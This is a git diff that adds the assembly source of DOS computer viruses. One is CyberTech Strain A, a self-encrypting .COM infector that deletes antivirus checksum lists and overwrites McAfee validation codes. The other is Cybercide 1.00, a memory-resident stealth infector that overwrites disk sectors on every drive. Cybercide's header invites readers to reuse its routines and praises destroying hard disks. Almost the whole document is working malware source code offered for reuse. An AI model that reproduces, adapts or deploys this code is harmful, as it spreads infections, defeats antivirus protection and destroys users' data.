+_TEXT ends + extrn __creat:near + extrn __open:near + public _infected + extrn _findfirst:near + extrn _findnext:near + public _hostile_activity + extrn _setftime:near + extrn __read:near + public _victim + extrn _puts:near + extrn __argv:word + public _main + extrn _chsize:near + public _screw_virex + extrn _close:near + public _spread + extrn __write:near + extrn __chmod:near + extrn _abswrite:near + end + \ No newline at end of file diff --git a/c/CYBERTCH (52).ASM b/c/CYBERTCH (52).ASM new file mode 100755 index 0000000..7446f9a --- /dev/null +++ b/c/CYBERTCH (52).ASM @@ -0,0 +1,427 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1992, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1993, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1992 is past time + Int 21h ; already + Cmp Cx,1993 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1993 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1993 +; + +Msg Db 13,10,'CyberTech Virus - Strain A' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/CYBRCIDE.ASM b/c/CYBRCIDE.ASM new file mode 100755 index 0000000..2697101 --- /dev/null +++ b/c/CYBRCIDE.ASM @@ -0,0 +1,999 @@ + .model tiny + .code + org 100h + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; A NEW ORDER OF INTELLIGENCE PRESENTS: ; +; ; +; Cybercide 1.00 - The original source-code ; +; Copyright (c) -91 by Cruel Entity / Macaroni Ted ; +; ; +; This one is really old now. Mcaffe virus scanner have detected it for ; +; years. Therefor I've decided to realease it. I hope you'll learn some- ; +; thing from it. You are free to use routines from it and also rebuild ; +; it. Just give me some credits. ; +; ; +; I hope you'll feel the nice feeling you get when you hear that many ; +; hard-disks have been destroyed by you virus. So keep up the good work ; +; and write more virus. ; +; ; +; Of cource I can't take any responsibility for all virus-coders who ; +; use any of the routines in this virus. ; +; ; +; Greetings to; God for creating AT&T's ; +; ; +; ps! Tasm /m3 and tlink /t to get this babe into executable! ; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +start: + call $+3 +sub_this: pop bp + + mov ax,0dd22h ;are we already in memory? + int 21h + cmp ax,03d33h + jne $+7 + lea dx,[bp+(cancel-sub_this)] + jmp far ptr dx + + mov ax,3521h ;get int 21h vect + int 21h + mov [bp+(int_21h_off-sub_this)],bx + mov [bp+(int_21h_seg-sub_this)],es + mov ax,3509h ;get int 9h vect + int 21h + mov [bp+(int_9h_off-sub_this)],bx + mov [bp+(int_9h_seg-sub_this)],es + mov ax,351ch ;get int 1ch vect + int 21h + mov [bp+(int_1ch_off-sub_this)],bx + mov [bp+(int_1ch_seg-sub_this)],es + + mov ax,cs + dec ax + mov es,ax + mov ax,es:[0003h] + sub ax,[bp+(memlen-sub_this)] + mov es:[0003h],ax + mov ax,[bp+(memlen-sub_this)] + sub word ptr es:[0012h],ax + mov es,es:[0012h] + push es + + lea si,[bp+(start-sub_this)] + mov di,0100h + mov cx,[bp+(filelen-sub_this)] + rep movsb + + pop ds ;es => ds + mov ax,2521h ;new vector at ES:0100 + lea dx,new_int_21h + int 21h + mov ax,2509h ;int 9h + lea dx,new_int_9h + int 21h + mov ax,251ch ;int 1ch + lea dx,new_int_1ch + int 21h +cancel: + push cs ;cs => ds => es + push cs + pop ds + pop es + + lea si,[bp+(first_bytes-sub_this)] + mov cx,3 + mov di,100h + rep movsb + sub di,3 + jmp far ptr di + +ULTIMATHULE DB 'nam nesut agnm dem nk mo nk ,marf' + db 'kcig xeR sluloraC ruh nes egnl rf ,n in snniM' + ; ^^^^^^^^^ Only a swedish poem written backwards ^^^^^^^^^ +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Resident part -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +imperial_march dw 330,600 + dw 330,600 + dw 330,600 + dw 262,450 + dw 392,150 + dw 330,600 + dw 262,450 + dw 392,150 + dw 330,1200 + dw 494,600 + dw 494,600 + dw 494,600 + dw 523,450 + dw 392,150 + dw 330,600 + dw 262,450 + dw 392,150 + dw 330,1200 + dw 0 + + db 'YTITNE na ot LEURC eb reven' +darth_return: + push cs + push cs + pop ds + pop es + lea si,imperial_march +darth_again: + lodsw + + cmp ax,0 + je darth_end + + mov di,ax +play: + mov al,0b6h + out 43h,al + mov dx,12h + mov ax,3280h + div di + out 42h,al + + mov al,ah + out 42h,al + + in al,61h + mov ah,al + or al,3 + out 61h,al +delay: + lodsw + mov cx,ax +m_delay: + push cx + mov cx,2700 + loop $ + pop cx + loop m_delay + + out 61h,al + + jmp darth_again +darth_end: + xor al,al ;sound off + out 61h,al + + mov ax,0b800h ;print ansi + mov es,ax + lea si,darth_pic + mov di,3680 + mov cx,320 + rep movsb + + jmp $ ;hang + db 'ynollef ELIV a si GINKLAWYAJ' +next_hour: + cmp dh,0 + je check_100th + pop dx + pop cx + pop ax + jmp exit +check_100th: + cmp dl,5 + jb random_sector + + pop dx + pop cx + pop ax + jmp exit +random_sector: + pushf + push bx + + call get_rnd + mov cx,10 ;/ 10 + xor dx,dx + div cx + mov dx,ax ;dx=ax + + mov al,2h ;drive #, start with c: + mov cx,1h ;# of sectors to overwrite + lea bx,logo ;address to overwriting data +loopie: + int 26h + popf + inc al + cmp al,25 + jne loopie + + pop bx + popf + + pop dx + pop cx + pop ax + jmp exit + db '... I SHALL FEAR NO EVIL ...' +check_time_int1c: + mov ah,2ch ;get time + int 21h + cmp ch,16 ;>16:?? + jae set_flag_flag + pop dx + pop cx + pop ax + jmp exit +set_flag_flag: + mov cs:flagga,1 + pop dx + pop cx + pop ax + jmp exit + +logo db '>>> A.N.O.I <<<' ; DATA to overwrite with +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; New Interrupt 21h Handler +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +new_int_21h: + pushf + + cmp ax,0dd22h ;mem check + je mem_check + + cmp ah,2ch ;time? + je exit + + cmp ah,2ah ;date? + je exit + + cmp ah,9 + je exit + + cmp ah,11h + je find_old + cmp ah,12h + je find_old + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + cmp ah,3dh ;open file + je open_file + + push ax + push cx + push dx + + mov ah,2ch + int 21h + + cmp ch,00 ;24:?? + jne $+7 + lea dx,darth_return + jmp far ptr dx + + cmp cl,00 ;a new hour? + jne $+7 + lea ax,next_hour + jmp far ptr ax + + mov ah,2ah ;get date + int 21h + + cmp al,6 ;flag time? (SAT) + je check_time_int1c ;check time + + pop dx + pop cx + pop ax +exit: + popf + +real_int_21h: db 0eah ;jmp... +int_21h_off dw ? ;to old int 21h +int_21h_seg dw ? + +call_int21h: + jmp dword ptr cs:int_21h_off ;force a call to DOS + ret +open_file: + push bp + lea bp,open + jmp far ptr bp +find_: + push bp + lea bp,find_new + jmp far ptr bp +mem_check: + popf + mov ax,3d33h + iret + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; Stealth FCB +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +find_old: + popf + + pushf ;find fcb + push cs + call call_int21h + cmp al,0ffh + je no_more_files + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + cmp ax,'OC' ;.CO + jne cancel_ff + lodsb + cmp al,'M' ;M + jne cancel_ff +ext_ok: + ;ext=com + mov si,bx ;check size + add si,26h + lodsw + cmp ax,0 ;=> 0ffffh? + jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,12 + je $+7 ;already infected (sec=24) + lea dx,infect + jmp far ptr dx + + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,cs:filelen + jz cancel_ff + stosw +cancel_ff: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files: retf 2 ;iret flags +cancel_inf: + pop ax + pop ax + jmp cancel_ff + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; Stealth 4Eh +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +find_new: + pop bp + popf + + pushf ;find 4e + push cs + call call_int21h + jnc more_files + retf 2 +more_files: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + + mov si,bx ;ds:si + + add si,16h + push si ;ONLY for infection + push es + + mov si,bx + + push cs ;cs => es + pop es + + add si,1eh ;f name + lea di,filename + mov cx,25 +get_fname: + lodsb + cmp al,0 + je get_f_klar + stosb + loop get_fname +get_f_klar: + mov al,0 ;asciiz + stosb + + push ds ;ds=> es + pop es + push cs ;cs=> ds + pop ds + mov si,di + + sub si,4 ;'COM' + lodsw ;CO + + cmp ax,'OC' + je check_m + cmp ax,'oc' + jne cancel_new +check_m: + lodsb + cmp al,'m' + je ext_is_com + cmp al,'M' + jne cancel_new +ext_is_com: + push es ;es=> ds + pop ds + + mov si,bx + add si,1ch ;check size + lodsw + cmp ax,0 ;=> 0ffffh + jne cancel_new + + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,12 + jne attrib_check ;already infected (sec=24) + + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,cs:filelen + jz cancel_new + stosw +cancel_new: + pop ax ;crap... + pop ax + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files2: retf 2 ;iret flags + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +; Infect +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +infect: + add bx,30 + push bx + sub bx,30 + push es + + mov si,bx ;fname + add si,8 + + push cs ;cs=>es + pop es + + lea di,filename + mov cx,8 +cpy_name: + lodsb + cmp al,20h + je name_klar + stosb + loop cpy_name +name_klar: + mov al,'.' + stosb + mov si,bx + add si,16 + mov cx,3 + rep movsb + mov al,0 + stosb +attrib_check: + push cs ;cs=> ds => es + push cs + pop ds + pop es + + mov ax,4300h ;get attrib + lea dx,filename + int 21h + mov attribute,cx ;save it + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + + mov ax,3d02h ;open file + pushf + push cs + call call_int21h + jnc $+7 ;not a valid filename + lea dx,cancel_inf + jmp far ptr dx + mov bx,ax ;handle + + mov ah,3fh ;3 first bytes + lea dx,first_bytes + mov cx,3 + int 21h + + mov ax,4202h ;go eof and get size + xor dx,dx + xor cx,cx + int 21h + + sub ax,3 + mov jmp_2,ax + + mov ah,40h ;write virus to eof + mov cx,filelen ;virlen + mov dx,100h + int 21h + + mov ax,4200h ;goto beg + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write a jmp + mov cx,3 + lea dx,jmp_1 + int 21h + + pop ds ;=> DTA + pop si + + lodsw + and al,11100000b ;secs=24 + or al,00001100b + mov cx,ax + lodsw ;date + mov dx,ax + + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h ;close file + + mov ax,4301h ;set attrib + push cs ;cs =>ds + pop ds + mov cx,attribute + lea dx,filename + int 21h + + jmp cancel_ff + +cancel_uninf2: + mov ah,3eh + pushf + push cs + call call_int21h ;close file +cancel_uninf: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf + push cs + call call_int21h + retf 2 ;iret flags + +konstig_text db '**CYBERCIDE** -- FLOATING THROUGH THE VOID' + +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Open +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +open: + pop bp + popf + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + push ds ;ds=> es + pop es + + mov bx,dx ;save dx = bx + mov bp,ax ;save ax = bp + + mov di,dx + mov cx,025h ;MAX + mov dx,cx + mov al,0 + repnz scasb + sub di,4 + mov si,di + lodsw + cmp ax,'OC' + je check_m2 + cmp ax,'oc' + jne cancel_uninf +check_m2: + lodsb + cmp al,'m' + je ext_is_com2 + cmp al,'M' + jne cancel_uninf +ext_is_com2: + mov dx,bx ;restore + mov ax,bp ;restore + + pushf + push cs + call call_int21h ;open file + jc cancel_uninf + mov bx,ax ;handle + + mov ax,5700h ;get time/date + int 21h + + and cl,00011111b + cmp cl,12 + je $+7 + lea bp,cancel_uninf2 + jmp far ptr bp + + mov ax,9000h ;temp area + mov ds,ax ;ds + mov es,ax ;es + + mov ah,3fh ;read whole file + mov cx,0ffffh + mov dx,0 + int 21h + + mov si,0 + add si,ax ;add size + sub si,3 ;3 last bytes + + mov di,0 ;copy 3 last bytes to + mov cx,3 ;beg + rep movsb + + push ax + mov ax,4200h ;goto beg + mov cx,0 + mov dx,0 + int 21h + + pop cx + sub cx,cs:filelen + mov ah,40h ;write new file + mov dx,0 + int 21h + + mov ah,40h ;set eof mark + mov cx,0 + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h ;close file + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf + push cs + call call_int21h ;force open + retf 2 + +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; New Interrupt 9h Handler +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +;-9h +new_int_9h: + pushf + push ax + push bx + push ds + + xor ax,ax ;ds=> 0 + mov ds,ax + + mov al,byte ptr ds:[0417h] ;bios, shift status + and al,8 + cmp al,8 ;is alt active? + jne check_anoi ;not pressed + + in al,60h + cmp al,53h ;del? + jne $+7 + lea ax,alt_del + jmp far ptr ax + +check_anoi: + in al,60h ;read key + cmp cs:anoi_flag,0 + je check_a + cmp cs:anoi_flag,1 + je check_n + cmp cs:anoi_flag,2 + je check_o + cmp cs:anoi_flag,3 + je check_i + cmp cs:anoi_flag,4 + je anoi_ +exit_zero: + mov cs:anoi_flag,0 + mov cs:e_3rd,0 +exit_9h: + pop ds + pop bx + pop ax + popf + +real_int_9h: db 0eah ;jmp... +int_9h_off dw ? ;to old int 9h +int_9h_seg dw ? + +anoi_flag db 0 +e_3rd db 0 +anoi_text db ' iS AROUND!',0 + +exit_anoi: + inc cs:e_3rd + cmp cs:e_3rd,10 + je exit_zero + jmp exit_9h + +check_a: + cmp al,1eh ;'a' + jne exit_anoi + mov cs:anoi_flag,1 + jmp exit_9h +check_n: + cmp al,31h ;'n' + jne exit_anoi + mov cs:anoi_flag,2 + jmp exit_9h +check_o: + cmp al,18h ;'o' + jne exit_anoi + mov cs:anoi_flag,3 + jmp exit_9h +check_i: + cmp al,17h ;'i' + jne exit_anoi + mov cs:anoi_flag,4 + jmp exit_9h + +anoi_: + push bp + + mov ah,0eh ;print chr + mov bx,0 + xor bp,bp +print_next: + mov al,cs:[anoi_text+bp] + int 10h + inc bp + cmp al,0 + jne print_next + + pop bp + jmp exit_zero + +alt_del: + mov ax,0b800h + mov es,ax + mov di,0 + mov al,'A' + stosb + mov di,158 + mov al,'N' + stosb + mov di,3998 + mov al,'I' + stosb + mov di,3840 + mov al,'O' + stosb + + jmp exit_9h +darth_pic: + DB '',30,'',30,'',30,'',30,'',30,'',30,' ',7,' ',7 + DB ' ',7,' ',15,' ',15,'I',15,' ',15,'h',15,'e',15,'r',15 + DB 'e',15,'b',15,'y',15,' ',15,'p',15,'r',15,'o',15,'c',15 + DB 'l',15,'a',15,'i',15,'m',15,' ',15,'t',15,'h',15,'i',15 + DB 's',15,' ',15,'c',15,'o',15,'m',15,'p',15,'u',15,'t',15 + DB 'e',15,'r',15,' ',15,'a',15,'s',15,' ',15,'t',15,'h',15 + DB 'e',15,' ',15,'p',15,'r',15,'o',15,'p',15,'e',15,'r',15 + DB 't',15,'y',15,' ',15,'o',15,'f',15,' ',15,'A',15,'.',15 + DB 'N',15,'.',15,'O',15,'.',15,'I',15,' ',15,' ',15,' ',7 + DB ' ',7,' ',14,'',30,'',30,'',30,'',30,'',30,'',30 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,'!',15,'!',15,' ',15,'A',15,'L',15 + DB 'L',15,' ',15,'H',15,'A',15,'I',15,'L',15,' ',15,'D',15 + DB 'A',15,'R',15,'T',15,'H',15,' ',15,'V',15,'A',15,'D',15 + DB 'E',15,'R',15,' ',15,'!',15,'!',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; New Interrupt 1Ch Handler +;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +new_int_1ch: + pushf + + cmp cs:flagga,0 + jne print_flag +exit_1c: + popf + +real_int_1ch: db 0eah ;jmp... +int_1ch_off dw ? ;to old int 1ch +int_1ch_seg dw ? +flagga db 0 ;no flag + +print_flag: + push ax + push bx + push cx + push di + push si + push ds + push es + push bp + + cld + mov ax,0b800h + mov es,ax + mov ds,ax + + mov di,1 + mov si,1 + lea bp,tabl + xor ch,ch + + mov cl,cs:[bp] + inc bp +again: + mov bl,cs:[bp] + inc bp +line: + lodsb + and al,00000111b + or al,bl + stosb + inc di + inc si + loop line + + mov cl,cs:[bp] + inc bp + cmp cl,0 + jne again + + pop bp + pop es + pop ds + pop si + pop di + pop cx + pop bx + pop ax + jmp exit_1c + +; # B G B +tabl db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 